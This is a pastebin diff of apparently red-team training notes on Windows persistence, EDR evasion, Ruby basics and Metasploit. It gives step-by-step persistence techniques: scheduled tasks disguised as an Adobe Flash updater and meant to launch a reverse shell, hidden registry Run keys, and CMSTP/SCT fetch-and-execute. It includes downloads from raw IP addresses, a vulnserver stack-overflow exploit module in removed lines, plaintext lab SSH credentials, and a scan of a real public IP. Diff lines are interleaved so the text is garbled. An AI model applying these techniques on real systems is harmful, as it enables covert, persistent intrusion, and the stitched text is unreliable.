View difference between Paste ID: mNw31fUd and XNsyGMmW

-########
+
-# Tips #
+
-########
+
-https://ired.team/offensive-security/powershell-constrained-language-mode-bypass
+
 
 
 
 
 #################
 # Lab Deployers #
 #################
 https://github.com/jaredhaight/PowerShellClassLab
 https://github.com/outflanknl/Invoke-ADLabDeployer
-http://45.63.104.73/nc-password-is-netcat.zip
+
-http://45.63.104.73/1-SEH.zip
+
-http://45.63.104.73/WarFTP.zip
+
-http://45.63.104.73/SEH.zip
+
-http://45.63.104.73/sws.zip
+
-http://45.63.104.73/tftpd.zip
+
-http://45.63.104.73/ffvlc.zip
+
-http://45.63.104.73/pdf-exploit.zip
+
 https://rastamouse.me/2018/03/a-view-of-persistence/
 https://blog.inspired-sec.com/archive/2017/01/20/WMI-Persistence.html
 https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
 https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
 
 
 
 
 ####################
 # Lateral Movement #
 ####################
 
 
 ###########################
 # Bypassing EDR Solutions #
 ###########################
 https://lospi.net/security/assembly/c/cpp/developing/software/2017/03/04/gargoyle-memory-analysis-evasion.html
 https://github.com/vysecurity/morphHTA
 https://labs.mwrinfosecurity.com/blog/experimenting-bypassing-memory-scanners-with-cobalt-strike-and-gargoyle/
 
 
 
 ###############################
 # Device Guard Check & Bypass #
 ###############################
 https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-OSiRis.ps1
 
 
 ######################
 # EDR Check & Bypass #
 ######################
 https://github.com/SadProcessor/SomeStuff/blob/master/Invoke-EDRCheck.ps1
 
 
 
 
 ###############
 # Persistance #
 ###############
 
 
 ---- Scheduled Task Based Persistance ----
 1. Scheduled task based on most commonly occuring event ID
 https://github.com/TestingPens/MalwarePersistenceScripts/blob/master/user_event_persistence.ps1
 
 
 
 To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
 
 ---------------------------Type This-----------------------------------
 mkdir c:\persistence
 
 cd c:\persistence
 
 Get-ExecutionPolicy
 Set-ExecutionPolicy Unrestricted –Force
 
 $client = new-object System.Net.WebClient
 $client.DownloadFile("https://raw.githubusercontent.com/TestingPens/MalwarePersistenceScripts/master/user_event_persistence.ps1","c:\persistence\user_event_persistence.ps1")
 
 dir
 
 .\user_event_persistence.ps1
 -------------------------------------------------------------------------
 
 
 
 - Alternative method 1:
 -----------------------
 As administrator create a basic task as an administrator with the following information:
 
 Name:                    Adobe Systems Incorporated
 
 Description:             This task keeps your Adobe Flash Player installation up to date with the latest enhancements and security fixes. If this task is disabled or removed, Adobe Flash Player will be unable to automatically secure your machine with the latest security fixes.
 
 
 
 Task Trigger:             Daily
 
 Start a program:          C:\Windows\System32\calc.exe
-1. What does the sys module do? Call System Commands
+
 
 
 - Alternative method 2:
 -----------------------
 In this case we will not be running PowerShell. We create a scheduled task definition file called "Adobe Flash Player Updater.xml"
 
 - Copy and paste the code below into the "Adobe Flash Player Updater.xml" definition file on target machine:
-2. What pattern_create.rb doing and where can I find it?
+
 - adapt  <Command>C:\Windows\System32\calc.exe</Command> to your reverse shell executable
 - this scheduled task triggers on a event, can be changed to regular calls (e.g. once an hour)
 
 --------------------------------
 <?xml version="1.0" encoding="UTF-16"?>
 <Task version="1.2" xmlns="http://schemas.microsoft.com/windows/2004/02/mit/task">
   <RegistrationInfo>
     <Author>Adobe Systems Incorporated</Author>
     <Description>This task keeps your Adobe Flash Player installation up to date with the latest enhancements and security fixes. If this task is disabled or removed, Adobe Flash Player will be unable to automatically secure your machine with the latest security fixes.</Description>
   </RegistrationInfo>
   <Triggers>
     <EventTrigger>
-1. Explain what is happening in lines 13 - to 15.
+
       <Subscription>&lt;QueryList&gt;&lt;Query Id="0" Path="Application"&gt;&lt;Select Path="Application"&gt;*[System[EventID=15]]&lt;/Select&gt;&lt;/Query&gt;&lt;/QueryList&gt;</Subscription>
     </EventTrigger>
   </Triggers>
   <Principals>
     <Principal id="Author">
-Ff5.py
+
       <RunLevel>LeastPrivilege</RunLevel>
     </Principal>
   </Principals>
   <Settings>
     <MultipleInstancesPolicy>IgnoreNew</MultipleInstancesPolicy>
     <DisallowStartIfOnBatteries>false</DisallowStartIfOnBatteries>
     <StopIfGoingOnBatteries>true</StopIfGoingOnBatteries>
     <AllowHardTerminate>true</AllowHardTerminate>
     <StartWhenAvailable>true</StartWhenAvailable>
     <RunOnlyIfNetworkAvailable>true</RunOnlyIfNetworkAvailable>
     <IdleSettings>
       <StopOnIdleEnd>true</StopOnIdleEnd>
       <RestartOnIdle>false</RestartOnIdle>
     </IdleSettings>
     <AllowStartOnDemand>true</AllowStartOnDemand>
     <Enabled>true</Enabled>
     <Hidden>true</Hidden>
     <RunOnlyIfIdle>false</RunOnlyIfIdle>
     <WakeToRun>false</WakeToRun>
     <ExecutionTimeLimit>P3D</ExecutionTimeLimit>
     <Priority>7</Priority>
   </Settings>
   <Actions Context="Author">
     <Exec>
       <Command>C:\Windows\System32\calc.exe</Command>
     </Exec>
   </Actions>
 </Task>
 
 ---------------------------
 
 Now let's create the scheduled task
 ---------------------------Type This-----------------------------------
 schtasks /create /tn "Adobe Updater" /xml "Adobe Flash Player Updater.xml"
 -----------------------------------------------------------------------
 
 
 Sit back and wait for the task to trigger. By the way we got the correct XML file format by creating a scheduled tasked and exporting it to an XML file. Then we were able to make some trivial changes to the file and import it.
 
 
-3. How would a stack adjustment help this script?
+
 
 ---- Registry Based Persistance ---
-Required review videos to watch tonight:
+
-----------------------------------------
+
-https://www.youtube.com/playlist?list=PLWpmLW-3AVsjcz_VJFvofmIFVTk7T-Ukl
+
-Please watch videos 1-5 tonight. Vivek has a deep accent so I understand that it may be difficult but his material is very good - probably the best on the internet today.
+
 
-Recommended (not required) videos to watch tonight:
+
----------------------------------------------------
+
-For more background on Assembly I would recommend the following video series (videos 1-11):
+
-https://www.youtube.com/playlist?list=PL6brsSrstzga43kcZRn6nbSi_GeXoZQhR
+
-Again, you DO NOT have to watch these tonight but if you are really interested in the subject of exploit development I think they will be very helpful.
+
 Note:
 Beacon/Shell may prevent the user to login as he is hanging in the Beacon executable. Solution: spawn new beacon and exit initial beacon.
 
----------------------------------------------------------------------------------------------------------------------############################
+
 
 
 
 2. GLOBALFLAGS IN IMAGE FILE EXECUTION OPTIONS
 Let's try this:
 https://oddvar.moe/2018/04/10/persistence-using-globalflags-in-image-file-execution-options-hidden-from-autoruns-exe/
 
 
 2. Hide Reg
 Let's try this code out:
 https://gist.github.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741
 
 Reference:
 https://posts.specterops.io/hiding-registry-keys-with-psreflect-b18ec5ac8353
 
 
 
 
 Get the following two files
 ---------------------------
 https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1
 https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1
 
 In "PSReflect-RegHide.ps1" line 126, you can specify which command will be executed upon reboot (ex: 'cmd /c calc.exe'). It will be invisible for regedit and powershell.
 
 To open a PowerShell command prompt either hit Windows Key + R and type in PowerShell or Start -> All Programs -> Accessories -> Windows PowerShell -> Windows PowerShell.
 
 ---------------------------Type This-----------------------------------
 mkdir c:\persistence
 
 cd c:\persistence
 
 (new-object System.Net.WebClient).DownloadFile("https://raw.githubusercontent.com/jaredcatkinson/PSReflect-Functions/master/PSReflect.ps1", "c:\persistence\PSReflect.ps1")
 
 (new-object System.Net.WebClient).DownloadFile("https://gist.githubusercontent.com/brianreitz/feb4e14bd45dd2e4394c225b17df5741/raw/8f77b5e2f1952299f3a2dca0ef6c9266fe3e7b08/PSReflect-RegHide.ps1", "c:\persistence\PSReflect-RegHide.ps1")
 
 .\PSReflect-RegHide.ps1
 -------------------------------------------------------------------------
 
 
 
 Now, let's check to see if the newly created registry value is hidden. You can do this by typing the following:
 ---------------------------Type This-----------------------------------
 reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run
 Get-ItemProperty -Path HKCU:\Software\Microsoft\Windows\CurrentVersion\Run
 -----------------------------------------------------------------------
 However, it will be visible e.g. for Sysinternals Autorun tool
 
 
 
 3. VShadow
 Let's try this out:
 https://bohops.com/2018/02/10/vshadow-abusing-the-volume-shadow-service-for-evasion-persistence-and-active-directory-database-extraction/
 
 
 
 1. Download vshadow.exe including in the WinSDK
     Windows 7: https://www.microsoft.com/en-us/download/details.aspx?id=8279
     Windows 10: https://developer.microsoft.com/en-us/windows/downloads/windows-10-sdk
 2. Upload the vshadow.exe to the target machine
 3. Choose an arbitrary persistence mechanism to start vshadow.exe (e.g. Reg Key: reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "C:\Temp\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:")
 
 
 ---------------------------Type This-----------------------------------
 mkdir c:\persistence
 
 cd c:\persistence
 
 $client = new-object System.Net.WebClient
 $client.DownloadFile("http://45.63.104.73/win10_vshadow_x64.exe","c:\persistence\win10_vshadow_x64.exe")
 
 
 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v VSSBackup /t REG_EXPAND_SZ /d "c:\persistence\vshadow.exe -nw -exec=c:\windows\system32\notepad.exe c:"
 -----------------------------------------------------------------------
 
 
 4. INF-SCT
 Let's try this out:
 https://bohops.com/2018/02/26/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence/
 https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/
 
 
 Technique 1: CMSTP
 ------------------
 create "c:\persistence\cmstp.inf" with the following content:
 -----------------------------------
 ;cmstp.exe cmstp.inf
 
 [version]
 Signature=$chicago$
 AdvancedINF=2.5
 
 [DefaultInstall_SingleUser]
 UnRegisterOCXs=UnRegisterOCXSection
 
 [UnRegisterOCXSection]
 %11%\scrobj.dll,NI,c:\persistence\test.sct
 
 [Strings]
 AppAct = "SOFTWARE\Microsoft\Connection Manager"
 ServiceName="Yay"
 ShortSvcName="Yay"
 ----------------------------------------------------
 
 
 
 get a sample sct payload (e.g. https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct) and store it in "c:\persistence\test.sct"
 
 
 ---------------------------Type This-----------------------------------
 mkdir c:\persistence
 
 cd c:\persistence
 
 $client = new-object System.Net.WebClient
 $client.DownloadFile("https://gist.githubusercontent.com/bohops/6ded40c4989c673f2e30b9a6c1985019/raw/33dc4cae00a10eb86c02b561b1c832df6de40ef6/test.sct","c:\persistence\test.sct")
 
 reg add HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Run /v oemkey /t reg_sz /d C:\Windows\System32\cmstp.exe\" /s C:\persistence\cmstp.inf"
 -----------------------------------------------------------------------
 
 
 reboot your machine
 your sct payload will be executed upon reboot. HOWEVER, as a Windows binary executes it, Sysinternals Autorun tool will not show it, unless you untick  "Options->Hide Windows Entries" option
 
 
 
 5. GPScript.exe
 Let's try this out:
 https://oddvar.moe/2018/04/27/gpscript-exe-another-lolbin-to-the-list/
 
 
 
 ---- Cobalt Strike Agressor Persistance Scripts ----
 https://github.com/Und3rf10w/Aggressor-scripts/blob/master/kits/PersistKit/PersistKit.cna
 https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/UserSchtasksPersist.cna
 https://github.com/harleyQu1nn/AggressorScripts/blob/master/Persistence/ServiceEXEPersist.cna
 
 
 
 
 
 -------------------------------------------------------------------------------------------------------------
 
 ############################
 # Day 2: Ruby Fundamentals #
 ############################
 
 - I prefer to use Putty to SSH into my Linux host.
 - You can download Putty from here:
 - http://the.earth.li/~sgtatham/putty/latest/x86/putty.exe
 
 Here is the information to put into putty
 
 Host Name:          149.28.201.171
 protocol:           ssh
 port:               22
 username:           secureninja
 password:           secureninja!!
 
 - Ruby is a general-purpose, object-oriented programming language, which was created by Yukihiro Matsumoto, a computer
 scientist and programmer from Japan. It is a cross-platform dynamic language.
 
 - The major implementations of this language are Ruby MRI, JRuby, HotRuby, IronRuby, MacRuby, etc. Ruby
 on Rails is a framework that is written in Ruby.
 
 - Ruby's file name extensions are .rb and .rbw.
 
 - official website of this
 
 - language: www.ruby-lang.org.
 
 
 - interactive Shell called Ruby Shell
 
 
 - open up the interactive console and play around.
 
 ---------------------------Type This-----------------------------------
 irb
 -----------------------------------------------------------------------
 
 
 - Math, Variables, Classes, Creating Objects and Inheritance
 
 
 The following arithmetic operators:
     Addition operator (+) — 10 + 23
     Subtraction operator (-) — 1001 - 34
     Multiplication operator (*) — 5 * 5
     Division operator (/) — 12 / 2
 
 
 
 - Now let's cover some variable techniques. In Ruby, you can assign a value to a variable using the assignment
 operator. '=' is the assignment operator. In the following example, 25 is assigned to x. Then x is incremented by
 30. Again, 69 is assigned to y, and then y is incremented by 33.
 
 ---------------------------Type This-----------------------------------
 x = 25
 x + 30
 y = 69
 y+33
 -----------------------------------------------------------------------
 
 
 
 - Let's look at creating classes and creating objects.
 
 - Here, the name of the class is Attack. An object has its properties and methods.
 
 
 ---------------------------Type This-----------------------------------
 class Attack
 attr_accessor :of, :sqli, :xss
 end
 -----------------------------------------------------------------------
 
 
 What is nil?
 Reference:
 https://www.codecademy.com/en/forum_questions/52a112378c1cccb0f6001638
 
 nil is the Ruby object that represents nothingness. Whenever a method doesn’t return a useful value, it returns nil. puts and print are methods that return nil:
 
 Since the Ruby Console always shows the value of the last statement or expression in your code, if that last statement is print, you’ll see the nil.
 
 To prevent the nil from "sticking" to the output of print (which doesn’t insert a line break), you can print a line break after it, and optionally put some other value as the last statement of your code, then the Console will show it instead of nil:
 
 
 
 
 
 # Now that we have created the classes let's create the objects
 ---------------------------Type This-----------------------------------
 first_attack = Attack.new
 first_attack.of = "stack"
 first_attack.sqli = "blind"
 first_attack.xss = "dom"
 puts first_attack.of
 puts first_attack.sqli
 puts first_attack.xss
 -----------------------------------------------------------------------
 
 
 
 
 - Let's work on some inheritance that will help make your programming life easier. When we have multiple classes,
 inheritance becomes useful. In simple words, inheritance is the classification of classes. It is a process by which
 one object can access the properties/attributes of another object of a different class. Inheritance makes your
 programming life easier by maximizing code reuse.
 
 
 ---------------------------Type This-----------------------------------
 class Exploitframeworks
 attr_accessor :scanners, :exploits, :shellcode, :postmodules
 end
 class Metasploit < Exploitframeworks
 end
 class Canvas < Exploitframeworks
 end
 class Coreimpact < Exploitframeworks
 end
 class Saint < Exploitframeworks
 end
 class Exploitpack < Exploitframeworks
 end
 -----------------------------------------------------------------------
 
 
 
 
 - Methods, More Objects, Arguments, String Functions and Expression Shortcuts
 
 - Let's create a simple method. A method is used to perform an action and is generally called with an object.
 
 - Here, the name of the method is 'learning'. This method is defined inside the Msfnl class. When it is called,
 it will print this string: "We are Learning how to PenTest"
 
 - An object named 'bo' is created, which is used to call the method.
 
 
 ---------------------------Type This-----------------------------------
 class Msfnl
 def learning
 puts "We are Learning how to PenTest"
 end
 end
 -----------------------------------------------------------------------
 
 #Now let's define an object for our Method
 
 ---------------------------Type This-----------------------------------
 joe = Msfnl.new
 joe.learning
 -----------------------------------------------------------------------
 
 
 
 - An argument is a value or variable that is passed to the function while calling it. In the following example, while
 calling the puts() function, we are sending a string value to the function. This string value is used by the
 function to perform some particular operations.
 
 puts ("Pentesting")
 
 
 - There are many useful string functions in Ruby. String functions make it easy to work with strings. Now, we will
 explain some useful string functions with an example.
 
 - The length function calculates the length of a string. The upcase function converts a string to uppercase. And the
 reverse function reverses a string. The following example demonstrates how to use the string functions.
 
 ---------------------------Type This-----------------------------------
 55.class
 "I Love Programming".class
 "I Love Pentesting".length
 "Pown that box".upcase
 "Love" + "To Root Boxes"
 "evil".reverse
 "evil".reverse.upcase
 -----------------------------------------------------------------------
 
 
 -  expressions and shortcuts. In the below example, 'a' is an operand, '3' is an operand,  '=' is
 an operator, and 'a=3' is the expression. A statement consists of one or multiple expressions. Following are the
 examples of some expressions.
 
 ---------------------------Type This-----------------------------------
 a = 3
 b = 6
 a+b+20
 d = 44
 f = d
 puts f
 -----------------------------------------------------------------------
 
 
 
 
 
 - shortcuts. +=, *= are the shortcuts. These operators are also called abbreviated
 assignment operators. Use the shortcuts to get the effect of two statements in just one. Consider the following
 statements to understand the shortcuts.
 
 ---------------------------Type This-----------------------------------
 g = 70
 g = g+44
 g += 33
 -----------------------------------------------------------------------
 
 
 - In the above statement, g is incremented by 33 and then the total value is assigned to g.
 
 
 
 ---------------------------Type This-----------------------------------
 g *= 3
 -----------------------------------------------------------------------
 
 
 - In the above statement, g is multiplied with 3 and then assigned to g.
 
 - Example
 
 - Comparison Operators, Loops, Data Types, and Constants
 
 - Comparison operators are used for comparing one variable or constant with another variable or constant. We will show
 how to use the following comparison operators.
 
 'Less than' operator (<): This operator is used to check whether a variable or constant is less than another
 variable or constant. If it's less than the other, the 'less than' operator returns true.
 
 'Equal to' operator (==): This operator is used to check whether a variable or constant is equal to another variable
 or constant. If it's equal to the other, the 'equal to' operator returns true.
 
 'Not equal to' operator (!=): This operator is used to check whether a variable or constant is not equal to another
 variable or constant. If it's not equal to the other, the 'not equal to' operator returns true.
 
 ---------------------------Type This-----------------------------------
 numberofports = 55
 puts "number of ports found during scan" if numberofports < 300
 numberofports = 400
 puts "number of ports found during scan" if numberofports < 300
 puts "number of ports found during scan" if numberofports == 300
 puts "number of ports found during scan" if numberofports != 300
 -----------------------------------------------------------------------
 
 
 
 Example
 
 
 - the 'OR' operator and the 'unless' keyword. This symbol '||' represents the logical 'OR' operator.
 
 - This operator is generally used to combine multiple conditions.
 - In case of two conditions, if both or any of the conditions is true, the 'OR'operator returns true. Consider the
 
 - following example to understand how this operator works.
 
 ---------------------------Type This-----------------------------------
 ports = 100
 puts "number of ports found on the network" if ports<100 || ports>200
 puts "number of ports found on the network" if ports<100 || ports>75
 -----------------------------------------------------------------------
 
 # unless
 
 ---------------------------Type This-----------------------------------
 portsbelow1024 = 50
 puts "If the ports are below 1024" unless portsbelow1024 < 1000
 puts "If the ports are below 1024" unless portsbelow1024 < 1055
 puts "If the ports are below 1024" unless portsbelow1024 < 20
 -----------------------------------------------------------------------
 
 - The 'unless' keyword is used to do something programmatically unless a condition is true.
 
 
 
 - Loops are used to execute statement(s) repeatedly. Suppose you want to print a string 10 times.
 
 - See the following example to understand how a string is printed 10 times on the screen using a loop.
 
 ---------------------------Type This-----------------------------------
 10.times do puts "infosecaddicts" end
 -----------------------------------------------------------------------
 
 # Or use the curly braces
-cd /usr/share/metasploit-framework
+
 ---------------------------Type This-----------------------------------
 10.times {puts "infosecaddicts"}
 -----------------------------------------------------------------------
 
 
 - Changing Data Types: Data type conversion is an important concept in Ruby because it gives you flexibility while
 working with different data types. Data type conversion is also known as type casting.
-cd /usr/share/metasploit-framework/modules
+
 
 
 - Constants: Unlike variables, the values of constants remain fixed during the program interpretation. So if you
 change the value of a constant, you will see a warning message.
 
 
 
 
 - Multiple Line String Variable, Interpolation, and Regular Expressions
 
 - A multiple line string variable lets you assign the value to the string variable through multiple lines.
 
-cd /usr/share/metasploit-framework/external
+
 infosecaddicts = <<mark
 welcome
 to the
 best
 metasploit
-cd /usr/share/metasploit-framework/data
+
 on the
 market
 mark
 puts infosecaddicts
 -----------------------------------------------------------------------
 
-cd /usr/share/metasploit-framework/data/wordlists
+
 - Interpolation lets you evaluate any placeholder within a string, and the placeholder is replaced with the value that
 it represents. So whatever you write inside #{ } will be evaluated and the value will be replaced at that position.
 Examine the following example to understand how interpolation works in Ruby.
 
 References:
 https://stackoverflow.com/questions/10869264/meaning-of-in-ruby
-cd /usr/share/metasploit-framework/data/meterpreter
+
 
 ---------------------------Type This-----------------------------------
 a = 4
 b = 6
 puts "a * b = a*b"
 puts " #{a} * #{b} = #{a*b} "
 person = "Joe McCray"
 puts "IT Security consultant person"
 puts "IT Security consultant #{person}"
 -----------------------------------------------------------------------
 
 - Notice that the placeholders inside #{ } are evaluated and they are replaced with their values.
 
 
 
 
 
 - Character classes
-cd /usr/share/metasploit-framework/modules/exploits
+
 infosecaddicts = "I Scanned 45 hosts and found 500 vulnerabilities"
 "I love metasploit and what it has to offer!".scan(/[lma]/) {|y| puts y}
 "I love metasploit and what it has to offer!".scan(/[a-m]/) {|y| puts y}
 -----------------------------------------------------------------------
 
 
 - Arrays, Push and Pop, and Hashes
 
 
 - In the following example, numbers is an array that holds 6 integer numbers.
 
-cd /usr/share/metasploit-framework/modules/auxiliary/
+
 ---------------------------Type This-----------------------------------
 numbers = [2,4,6,8,10,100]
 puts numbers[0]
 puts numbers[4]
 numbers[2] = 150
 puts numbers
-cd /usr/share/metasploit-framework/modules/auxiliary/scanner/
+
 
 
 
 - Now we will show how you can implement a stack using an array in Ruby. A stack has two operations - push and pop.
 
 
-cd /usr/share/metasploit-framework/modules/auxiliary/scanner/portscan
+
 framework = []
 framework << "modules"
 framework << "exploits"
 framework << "payloads"
 framework.pop
 framework.shift
 -----------------------------------------------------------------------
 
 - Hash is a collection of elements, which is like the associative array in other languages. Each element has a key
 that is used to access the element.
 
 
 - Hash is a Ruby object that has its built-in methods. The methods make it easy to work with hashes.
 In this example, 'metasploit' is a hash. 'exploits', 'microsoft', 'Linux' are the keys, and the following are the
 respective values: 'what module should you use', 'Windows XP' and 'SSH'.
-cd /usr/share/metasploit-framework/modules/payloads/
+
 ---------------------------Type This-----------------------------------
 metasploit = {'exploits' => 'what module should you use', 'microsoft' => 'Windows XP', 'Linux' => 'SSH'}
 print metasploit.size
 print metasploit["microsoft"]
 metasploit['microsoft'] = 'redhat'
 print metasploit['microsoft']
 -----------------------------------------------------------------------
 
 
 
 - Writing Ruby Scripts
 
 
 - Let's take a look at one of the ruby modules and see exactly now what it is doing. Now explain to me exactly what
 this program is doing. If we take a look at the ruby program what you find is that it is a TCP port scanner that
 someone made to look for a specific port. The port that it is looking for is port 21 FTP.
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/modules/auxiliary/scanner/portscan
 ls
 -----------------------------------------------------------------------
 
 
 
 ###########################
 # Metasploit Fundamentals #
 ###########################
 
 - Let's take a little look at Metasploit Framework
 
 - First, we should take note of the different directories, the Modular Architecture.
 
 The modules that make up the Modular Architecture are
 Exploits
 Auxiliary
 Payload
 Encoder
 Nops
 
 
 Important directories to keep in mind for Metasploit, in case we'd like to edit different modules, or add our own,
 
 are
 
 Modules
 Scripts
 Plugins
 External
 Data
 Tools
 
 - Let's take a look inside the Metasploit directory and see what's the
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit
 ls
 -----------------------------------------------------------------------
 
 
 
 - Now let's take a look inside the Modules directory and see what's there.
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/modules
 ls
 -----------------------------------------------------------------------
 
 
 The auxiliary directory is where the things like our port-scanners will be, or any module that we can run that does
 not necessarily need to - have a shell or session started on a machine.
 
 The exploits directory has our modules that we need to pop a shell on a box.
 The external directory is where we can see all of the modules that use external libraries from tools Metasploit uses
 like Burp Suite
 - Let's take a look at the external directory
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/external
 ls
 -----------------------------------------------------------------------
 
 - Our data directory holds helper modules for Metasploit to use with exploits or auxiliary modules.
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/data
 ls
 -----------------------------------------------------------------------
 
 - For example, the wordlist directory holds files that have wordlists in them for brute-forcing logins or doing DNS
 brute-forcing
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/data/wordlists
-------------------------------------------
+
 -----------------------------------------------------------------------
-------------------------------------------
+
 - The Meterpreter directory inside of the data directory houses the DLLs used for the functionality of Meterpreter
 once a session is created.
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/data/meterpreter
 ls
 -----------------------------------------------------------------------
 
 - The scripts inside the scripts/Meterpreter directory are scripts that Meterpreter uses for post-exploitation, things
-cd /usr/share/metasploit-framework/modules/exploits/windows/misc
+
 
-nano vulnserv.rb
+
--------(paste the code below into this file)-------
+
-#
+
-#
+
-# Quick Metasploit exploit for vulnserver.exe
+
-# Written by: Joe McCray
+
-# Email: joe@strategicsec.com
+
-#
+
-# Place this exploit in:
+
-# /usr/share/metasploit-framework/modules/exploits/windows/misc
+
-#
+
-require 'msf/core'
+
 cd ~/toolz/metasploit/modules/exploits
-class Metasploit3 < Msf::Exploit::Remote
+
-    include Msf::Exploit::Remote::Tcp
+
-    def initialize(info = {})
+
-        super(update_info(info,
+
-            'Name'           => 'Custom vulnerable server stack overflow',
+
-            'Description'    => %q{
+
-                This module exploits a stack overflow in an app called
+
-                vulnserver that is designed to teach simple exploitation.
+
-                },
+
-            'Author'         => [ 'Joe McCray' ],
+
-            'DefaultOptions' =>
+
-                {
+cd ~/toolz/metasploit/modules/auxiliary/
-                    'EXITFUNC' => 'process',
+
-                },
+
-            'Payload'        =>
+
-                {
+
-                    'Space'    => 800,
+
-                    'BadChars' => "\x00\x20",
+
-                },
+cd ~/toolz/metasploit/modules/auxiliary/scanner/
-            'Platform'       => 'win',
+
 -----------------------------------------------------------------------
-            'Targets'        =>
+
-                [
+
-                    [
+
-                        'Windows XP SP3 EN',
+
-                            {
+
-                                'Ret' => 0x625011AF,
+
-                            }
+
-                    ],
+
-                ],
+
-            'DefaultTarget' => 0,
+
 
-            'Privileged'     => false
+
-            ))
+
 
-            register_options(
+
-            [
+
-                Opt::RPORT(9999)
+
-            ], self.class)
+
 succeeds.
 ---------------------------Type This-----------------------------------
-    def exploit
+cd ~/toolz/metasploit/modules/payloads/
-        connect
+
-        sock.recv(1024)
+
 
-        p =  "\x41" * 16
+
-        p << payload.encoded
+
 application for it to be used as.
-        hdr =  "TRUN ."
+
-        boom = pattern_create(3000)
+
-        boom[2006, 4] = [target.ret].pack('V')  # EIP value
+
-        boom[2010, p.length] = p
+
 much space to just call back to the attacking machine to have the rest of the payload sent to it, mainly being used
-        sploit = hdr + boom
+
 
-        sock.put(sploit)
+
 - Stages are downloaded by stagers and typically do complex tasks, like VNC sessions, Meterpreter sessions, or bind
-        handler
+
-        disconnect
+
 cd singles
 cd windows
 ls
 -----------------------------------------------------------------------
-------------------end of copy/paste content --------------
+
 
 - We can see several different payloads here that we can use on a windows system. Let's take a look at adduser.rb and
 see what it actually does.
 ---------------------------Type This-----------------------------------
-cd /usr/share/metasploit-framework
+
 -----------------------------------------------------------------------
 
 Which when looking at the code, we can see that it will add a new user called "Metasploit" to the machine and give
 the new user "Metasploit" a password of "Metasploit$1" Further down in the file we can actually see the command that
 it gives Windows to add the user to the system.
 
 
-set RHOST CHANGEME-TO-YOUR-WIN7-IP
+
 
 windows/shell/bind_tcp or windows/shell/reverse_tcp
 ---------------------------Type This-----------------------------------
 cd ../../stagers
 ls
 -----------------------------------------------------------------------
 
 
-########################################
+
-# Down and dirty Meterpreter Scripting #
+
-########################################
+
 ls windows/
 -----------------------------------------------------------------------
 
 
 As you can see, the stagers are mainly just to connect to the victim, to setup a bridge between us and the victim
 machine, so we can upload or download our stage payloads and execute commands.
 Lastly, we can go to our stages directory to see what all payloads are available for us to send over for use with
 our stagers...
-- Keep your meterpreter shell open from the previous lab exercises, and in a new Linux command window type the following:
+
 cd ../stages
-echo 'print_status("Hello World")' > /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
+
 -----------------------------------------------------------------------
 
 
 Again, we can see that our stages are coded for particular operating systems and languages.
 We can take a look at shell.rb and see the shellcode that would be put into the payload that would be staged on the
 victim machine which would be encoded to tell the victim machine where to connect back to and what commands to run,
 if any.
 
 - Other module directories include nops, encoders, and post. Post modules are what are used in sessions that have
 already been opened in meterpreter, to gain more information on the victim machine, collect hashes, or even tokens,
 so we can impersonate other users on the system in hopes of elevating our privileges.
 ---------------------------Type This-----------------------------------
-- Open /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb in your favorite and add following
+
 ls
 cd windows/
 ls
-vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
+
--------(paste the code below into this file)-------
+
 
 Inside the windows directory we can see all the post modules that can be run, capture is a directory that holds all
 the modules to load keyloggers, or grab input from the victim machine. Escalate has modules that will try to
 escalate our privileges. Gather has modules that will try to enumerate the host to get as much information as
 possible out of it. WLAN directory holds modules that can pull down WiFi access points that the victim has in
 memory/registry and give you the AP names as well as the WEP/WPA/WPA2 key for the network.
 
 #################################
 # Getting start with MSFConsole #
 #################################
 
 ---------------------------Type This-----------------------------------
 cd ~/toolz/metasploit/
 
 ./msfconsole
 ----------------------------------------------------------------------
 
 
 
 ##############################################
 # Run any Linux command inside of MSFConsole #
 ##############################################
 
 Once you are inside of MSFConsole you want to do EVERYTHING
 that you'd normally do in your Linux command shell in addition
 to running Metasploit commands.
 
-vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
+
--------(paste the code below into this file)-------
+
 ls
 
 pwd
 
 ping -c1 yahoo.com
 
 nmap yahoo.com
 ----------------------------------------------------------------------
 
 
 
 
 - You're on the outside scanning publicly accessable targets.
 
 
 ---------------------------Type This-----------------------------------
 use auxiliary/scanner/portscan/tcp
 
 set RHOSTS 217.108.137.200
 
 set PORTS 80,1433,1521,3306,8000,8080,8081,10000
 
 run
 ----------------------------------------------------------------------
-vi /usr/share/metasploit-framework/scripts/meterpreter/helloworld.rb
+
--------(paste the code below into this file)-------
+
 
         - So let's do a quick google search for someone with trace.axd file
         - filetye:axd inurl:trace.axd
 --------------------------Type This-----------------------------------
 use auxiliary/scanner/http/     (press the tab key, then press y to look through the http options)
